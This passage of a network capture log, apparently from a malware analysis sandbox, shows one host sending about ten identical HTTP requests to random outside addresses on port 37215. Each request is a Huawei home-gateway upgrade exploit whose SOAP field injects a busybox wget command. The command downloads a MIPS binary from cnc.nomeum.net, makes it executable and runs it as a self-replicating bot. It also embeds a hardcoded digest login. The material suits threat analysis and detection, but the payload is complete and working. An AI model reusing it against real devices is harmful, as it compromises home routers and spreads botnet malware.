xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.14	55218	197.183.193.206	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.499524117 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.14	42220	156.211.117.106	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.500554085 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.14	55048	156.33.3.166	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.504184961 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.14	52950	41.49.156.70	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.511532068 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.14	52690	156.133.98.88	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.514066935 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.14	53810	156.192.248.123	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.515552998 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.14	37110	156.196.97.204	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.516809940 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.14	37312	156.13.36.43	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.517772913 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.14	58352	197.118.22.201	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.518701077 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.14	44860	197.59.58.68	37215

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 20:34:45.520170927 CEST	873	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.14	52512	156.40.104.148	37215

Timestamp	Bytes transferred	Direction	Data
